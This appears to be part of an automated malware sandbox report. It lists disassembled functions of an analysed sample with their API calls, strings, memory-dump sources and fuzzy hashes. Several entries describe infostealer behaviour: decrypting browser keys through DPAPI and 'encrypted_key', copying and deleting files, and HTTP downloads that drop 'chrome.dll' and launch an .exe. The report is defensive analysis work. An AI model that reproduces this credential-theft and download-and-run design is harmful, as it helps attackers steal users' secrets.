Opcode Fuzzy Hash: 105fdb600345f38635ca51b725dd8887c2eb5e4870ed4c85209326b81466581c
Instruction Fuzzy Hash: CD31FC72A0121CAFDB21AFA4DC889EEB7BDEF0A354F0440A6F605A2550D6359F849F52

Function 6CD66F1D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6CD682D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CD6A340,?,00000000,-00000008), ref: 6CD68332

GetLastError.KERNEL32 ref: 6CD66F81
__dosmaperr.LIBCMT ref: 6CD66F88
GetLastError.KERNEL32(?,?,?,?), ref: 6CD66FC2
__dosmaperr.LIBCMT ref: 6CD66FC9

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 52e87603caadc411b46a38f623849a14991c739965c665add0b80be6e5622cd0
Instruction ID: c0fb37f3a763425eb9f77baf946fb4fb3b62700dacef46a400055dabc03577a7
Opcode Fuzzy Hash: 52e87603caadc411b46a38f623849a14991c739965c665add0b80be6e5622cd0
Instruction Fuzzy Hash: 01217171614219AFDB109F67C89089EB7E9EF45368F048619F914D7E60D731EC16CB60

Function 00FE87ED Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF2042: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00FF6B0E,?), ref: 00FF205A

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE8833

Part of subcall function 00FE8696: CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86AE
Part of subcall function 00FE8696: LocalAlloc.KERNEL32(00000040,?,?,?,00FE6716,?), ref: 00FE86BC
Part of subcall function 00FE8696: CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86D2
Part of subcall function 00FE8696: LocalFree.KERNEL32(?,?,?,00FE6716,?), ref: 00FE86E1

Part of subcall function 00FE86EF: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,00FE8889), ref: 00FE8712
Part of subcall function 00FE86EF: LocalAlloc.KERNEL32(00000040,00FE8889,?,?,00FE8889,00FECD1F,?,?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE8726
Part of subcall function 00FE86EF: LocalFree.KERNEL32(00FECD1F,?,?,00FE8889,00FECD1F,?,?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE874B

Strings

DPAPI, xrefs: 00FE8869
"encrypted_key":", xrefs: 00FE882D
, xrefs: 00FE888F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: e0d4bb6ee4a939be98c8e37da71e0e1f37afcb60d503d8b28f0acbde15e8546a
Instruction ID: 748f441cbb000252a4a148fbe942ad99b3ede3d8b77052bc5a9a4565aed6c3ac
Opcode Fuzzy Hash: e0d4bb6ee4a939be98c8e37da71e0e1f37afcb60d503d8b28f0acbde15e8546a
Instruction Fuzzy Hash: 9F218E32E00249ABDF14FAA6DC81ADE7774AF003A0F5445A9ED14B72D1DF74AF06DA90

Function 6CD68374 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6CD6837C

Part of subcall function 6CD682D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CD6A340,?,00000000,-00000008), ref: 6CD68332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CD683B4
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CD683D4

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 2ce9bec80032c1b35506a1f9787d99dd6b58b35431d068f32846cc0e54fec434
Instruction ID: 2fb03e1aaaf9fd442ebf21f502b08df29629ea09839f0324bf547d740caba67e
Opcode Fuzzy Hash: 2ce9bec80032c1b35506a1f9787d99dd6b58b35431d068f32846cc0e54fec434
Instruction Fuzzy Hash: D911C4B1A01629BF670117779C8CCAFBA6DEE4B29DB00012AF904D2E10FB70DD15D270

Function 00FF683C Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

lstrcatA.KERNEL32(?,00000000), ref: 00FF6884
lstrcatA.KERNEL32(?,01015B34), ref: 00FF68A1
lstrcatA.KERNEL32(?), ref: 00FF68B4
lstrcatA.KERNEL32(?,01015B38), ref: 00FF68C6

Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF61F5
Part of subcall function 00FF61AE: FindFirstFileA.KERNEL32(?,?), ref: 00FF620C
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,01015A9C), ref: 00FF622D
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,01015AA0), ref: 00FF6247
Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF626E
Part of subcall function 00FF61AE: StrCmpCA.SHLWAPI(?,0101565D), ref: 00FF6282
Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF629F
Part of subcall function 00FF61AE: PathMatchSpecA.SHLWAPI(?,?), ref: 00FF62CC
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?), ref: 00FF6302
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,01015AB8), ref: 00FF6314
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,?), ref: 00FF6327
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,01015ABC), ref: 00FF6339
Part of subcall function 00FF61AE: lstrcatA.KERNEL32(?,?), ref: 00FF634D

Part of subcall function 00FF61AE: wsprintfA.USER32 ref: 00FF62B6
Part of subcall function 00FF61AE: CopyFileA.KERNEL32(?,?,00000001), ref: 00FF6406
Part of subcall function 00FF61AE: DeleteFileA.KERNEL32(?), ref: 00FF647A
Part of subcall function 00FF61AE: FindNextFileA.KERNEL32(?,?), ref: 00FF64DC
Part of subcall function 00FF61AE: FindClose.KERNEL32(?), ref: 00FF64F0

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: f2f6d255115a1a3da77332a709a9e3dc338c4c6a3347b990a88adf085a1b6bb2
Instruction ID: 29ff1fc63faed1987baecc78e920f58e6abd7dbe7fe8e0feaf8a35eb5befd3c6
Opcode Fuzzy Hash: f2f6d255115a1a3da77332a709a9e3dc338c4c6a3347b990a88adf085a1b6bb2
Instruction Fuzzy Hash: A521AE32A0011CAFDB60EB65EC4AAD977B9FF19300F4044A5B788E7255DE799AC49F80

Function 00FF0EE3 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,010155C7,?,?,?), ref: 00FF0EFB
HeapAlloc.KERNEL32(00000000), ref: 00FF0F02
GetLocalTime.KERNEL32(?), ref: 00FF0F0E
wsprintfA.USER32 ref: 00FF0F39

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 645985c93a169d668c632bddf07ad9b58930e08467042fbc5c908187aeb7cc8a
Instruction ID: 3d276ce8997a27e1305c0922566553cfc7630867cea733e81fe7683fcec67dc2
Opcode Fuzzy Hash: 645985c93a169d668c632bddf07ad9b58930e08467042fbc5c908187aeb7cc8a
Instruction Fuzzy Hash: 36F0ECB5900129BFDB60ABE9A909ABF77FCAF0C611F404055FB41E2184E63D9A40D7B5

Function 00FF2389 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FF5189,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00FF5189,?), ref: 00FF23A4
GetFileSizeEx.KERNEL32(00000000,00FF5189,?,?,?,00FF5189,?), ref: 00FF23BC
CloseHandle.KERNEL32(00000000,?,?,?,00FF5189,?), ref: 00FF23C7
CloseHandle.KERNEL32(00000000,?,?,?,00FF5189,?), ref: 00FF23CF

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: f66cf1a8dba244477cc9e9fb401b0c0f1507817e28e0f932b00036b51f305c60
Instruction ID: bce7113e2943e79ee6d71ab0c94ae13cefbacbe7ebd31df127ce13ed47dc7c8a
Opcode Fuzzy Hash: f66cf1a8dba244477cc9e9fb401b0c0f1507817e28e0f932b00036b51f305c60
Instruction Fuzzy Hash: C6F08271640118FFE7609AA0EC0DFAA3A6DEF44760F108110FB41A21D4E7B0AE00ABA4

Function 6CD6C226 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6CD6B9D9,00000000,00000001,00000000,?,?,6CD6AC94,?,00000000,00000000), ref: 6CD6C23D
GetLastError.KERNEL32(?,6CD6B9D9,00000000,00000001,00000000,?,?,6CD6AC94,?,00000000,00000000,?,?,?,6CD6B23A,00000000), ref: 6CD6C249

Part of subcall function 6CD6C20F: CloseHandle.KERNEL32(FFFFFFFE,6CD6C259,?,6CD6B9D9,00000000,00000001,00000000,?,?,6CD6AC94,?,00000000,00000000,?,?), ref: 6CD6C21F

___initconout.LIBCMT ref: 6CD6C259

Part of subcall function 6CD6C1D1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CD6C200,6CD6B9C6,?,?,6CD6AC94,?,00000000,00000000,?), ref: 6CD6C1E4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6CD6B9D9,00000000,00000001,00000000,?,?,6CD6AC94,?,00000000,00000000,?), ref: 6CD6C26E

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 29e5b28ab382dd1c7d62d125d87c6f44938841ce834b9bc508a7124fba46f3ff
Instruction ID: 30b9e75d5b161829ec5ff8e7317056161a02068674de2da29c8411ca4ce1f4c8
Opcode Fuzzy Hash: 29e5b28ab382dd1c7d62d125d87c6f44938841ce834b9bc508a7124fba46f3ff
Instruction Fuzzy Hash: F2F0F836640164BBDF222FD68C489CA3E7AEB4A2A1F054610FF1985920C732C920EBA5

Function 00FF2DBF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE5229: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FE5270
Part of subcall function 00FE5229: RtlAllocateHeap.NTDLL(00000000), ref: 00FE5277
Part of subcall function 00FE5229: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 00FE5299
Part of subcall function 00FE5229: StrCmpCA.SHLWAPI(?), ref: 00FE52B3
Part of subcall function 00FE5229: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE52E3
Part of subcall function 00FE5229: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00FE5322
Part of subcall function 00FE5229: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE5352
Part of subcall function 00FE5229: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FE535D

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF2818: CreateFileA.KERNEL32(00FEECA7,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00FEECA7,C:\ProgramData\chrome.dll,?,?,?), ref: 00FF2832

_memset.LIBCMT ref: 00FF2EAE
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,010156F8), ref: 00FF2F00

Strings

.exe, xrefs: 00FF2E0B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: f736704c54b6e485c7fbbd8e01eb9f3e25199857d859f4b837306c14c2f21c5b
Instruction ID: 19c29915e3ca14e6a3668009741a3794dbe6afc92daf490158a8329d67e618d1
Opcode Fuzzy Hash: f736704c54b6e485c7fbbd8e01eb9f3e25199857d859f4b837306c14c2f21c5b
Instruction Fuzzy Hash: D6414372E0011D6BDB10FBA5EC43AEE7778AF44340F510461FA40B7162DAB96E46ABD1

Function 6CD6450B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6CD64530

Strings

MOC, xrefs: 6CD64542
RCC, xrefs: 6CD6454A

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: e03aca573bf20ef153f17cef737b28bf9b6b3dd4198d232c17467a32cc1aa8d7
Instruction ID: cb64db3ea469a95fc9a0389678cbcf9131c04734e8f15d92277d0ddb20f61c2b
Opcode Fuzzy Hash: e03aca573bf20ef153f17cef737b28bf9b6b3dd4198d232c17467a32cc1aa8d7
Instruction Fuzzy Hash: 48414871900109EFCF06CF95C990AEE7BB5FF48308F148159F914A7A61D335DA61DB61

Function 00FEF141 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

